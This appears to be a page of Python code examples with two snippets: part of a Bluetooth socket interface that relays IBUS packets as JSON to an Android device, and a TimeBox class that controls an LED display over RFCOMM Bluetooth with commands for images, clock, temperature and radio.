    def receive(self, data):
        """
        Processes received data from Bluetooth socket

        Arguments
        ---------
            data : basestring
                the data received from the bluetooth connection

        """
        try:
            packet = json.loads(data)
            LOGGER.info('received packet via bluetooth: %r', packet['data'])

            # invoke bound method (if set)
            if self.receive_hook and hasattr(self.receive_hook, '__call__'):
                self.receive_hook(packet['data'].decode('hex'))

        except Exception as exception:
            LOGGER.exception('error: %r', exception)

    def send(self, data):
        """
        Sends data via Bluetooth socket connection

        Arguments
        ---------
            data : basestring
                the data to be sent via this interface

        """
        if self.state != self.__states__.STATE_CONNECTED:
            LOGGER.error('error: send() was called but state is not connected')
            return False

        try:
            LOGGER.info('sending IBUSPacket(s)...')
            packets = []
            for packet in data:
                packets.append(packet.as_serializable_dict())

            # encapsulate ibus packets and send
            data = {
                "data": json.dumps(packets)
            }  # TODO : is an inner json.dumps necessary?
            LOGGER.info(data)
            self.client_sock.send(json.dumps(data))
        except Exception as exception:
            # socket was closed, graceful restart
            LOGGER.exception('bt send: %r', exception.message)
            self.reconnect()

    def consume_bus(self):
        """
        Start listening for incoming data
        """
        try:
            LOGGER.info('starting to listen for bluetooth data...')
            read_buffer_length = self.get_setting('read_buffer_length', int)

            while self.client_sock:
                data = self.client_sock.recv(read_buffer_length)
                if len(data) > 0:
                    self.receive(data)

        except Exception as exception:
            LOGGER.exception('android device was disconnected - %r', exception)
            self.reconnect()
Exemple #38
0
class TimeBox:
    """Class TimeBox encapsulates the TimeBox communication."""

    DEFAULTHOST = "11:75:58:48:2F:DA"

    COMMANDS = {
        "switch radio": 0x05,
        "set volume": 0x08,
        "get volume": 0x09,
        "set mute": 0x0a,
        "get mute": 0x0b,
        "set date time": 0x18,
        "set image": 0x44,
        "set view": 0x45,
        "set animation frame": 0x49,
        "get temperature": 0x59,
        "get radio frequency": 0x60,
        "set radio frequency": 0x61
    }

    socket = None
    messages = None
    message_buf = []

    def __init__(self):
        self.messages = TimeBoxMessages()

    def connect(self, host=None, port=4):
        """Open a connection to the TimeBox."""
        # Create the client socket
        if host is None:
            host = self.DEFAULTHOST
        #print("connecting to %s at %s" % (self.host, self.port))
        self.socket = BluetoothSocket(RFCOMM)
        self.socket.connect((host, port))
        self.socket.setblocking(0)

    def close(self):
        """Closes the connection to the TimeBox."""
        self.socket.close()

    def receive(self, num_bytes=1024):
        """Receive n bytes of data from the TimeBox and put it in the input buffer.
        Returns the number of bytes received."""
        ready = select.select([self.socket], [], [], 0.1)
        if ready[0]:
            data = self.socket.recv(num_bytes)
            self.message_buf += data
            return len(data)
        else:
            return 0

    def send_raw(self, data):
        """Send raw data to the TimeBox."""
        return self.socket.send(data)

    def send_payload(self, payload):
        """Send raw payload to the TimeBox. (Will be escaped, checksumed and
        messaged between 0x01 and 0x02."""
        msg = self.messages.make_message(payload)
        return self.socket.send(bytes(msg))

    def send_command(self, command, args=None):
        """Send command with optional arguments"""
        if args is None:
            args = []
        if isinstance(command, str):
            command = self.COMMANDS[command]
        length = len(args) + 3
        length_lsb = length & 0xff
        length_msb = length >> 8
        payload = [length_lsb, length_msb, command] + args
        self.send_payload(payload)

    def decode(self, msg):
        """remove leading 1, trailing 2 and checksum and un-escape"""
        return self.messages.decode(msg)

    def has_message(self):
        """Check if there is a complete message *or leading garbage data* in the input buffer."""
        if len(self.message_buf) == 0:
            return False
        if self.message_buf[0] != 0x01:
            return True
        #endmarks = [x for x in self.message_buf if x == 0x02]
        #return  len(endmarks) > 0
        return 0x02 in self.message_buf

    def buffer_starts_with_garbage(self):
        """Check if the input buffer starts with data other than a message."""
        if len(self.message_buf) == 0:
            return False
        return self.message_buf[0] != 0x01

    def remove_garbage(self):
        """Remove data from the input buffer that is not the start of a message."""
        pos = self.message_buf.index(
            0x01) if 0x01 in self.message_buf else len(self.message_buf)
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:]
        return res

    def remove_message(self):
        """Remove a message from the input buffer and return it. Assumes it has been checked that
        there is a complete message without leading garbage data"""
        if not 0x02 in self.message_buf:
            raise Exception('There is no message')
        pos = self.message_buf.index(0x02) + 1
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:]
        return res

    def drop_message_buffer(self):
        """Drop all dat currently in the message buffer,"""
        self.message_buf = []

    def set_static_image(self, image):
        """Set the image on the TimeBox"""
        msg = self.messages.static_image_message(image)
        self.socket.send(bytes(msg))

    def set_dynamic_images(self, images, frame_delay):
        """Set the image on the TimeBox"""
        fnum = 0
        for img in images:
            msg = self.messages.dynamic_image_message(img, fnum, frame_delay)
            fnum = fnum + 1
            self.socket.send(bytes(msg))

    def show_temperature(self, color=None):
        """Show temperature on the TimeBox in Celsius"""
        args = [0x01, 0x00]
        if not color is None:
            args += color
        self.send_command("set view", args)

    def show_clock(self, color=None):
        """Show clock on the TimeBox in the color"""
        args = [0x00, 0x01]
        if not color is None:
            args += color
        self.send_command("set view", args)

    def clear_input_buffer(self):
        """Read all input from TimeBox and remove from buffer. """
        while self.receive() > 0:
            self.drop_message_buffer()

    def clear_input_buffer_quick(self):
        """Quickly read most input from TimeBox and remove from buffer. """
        while self.receive(512) == 512:
            self.drop_message_buffer()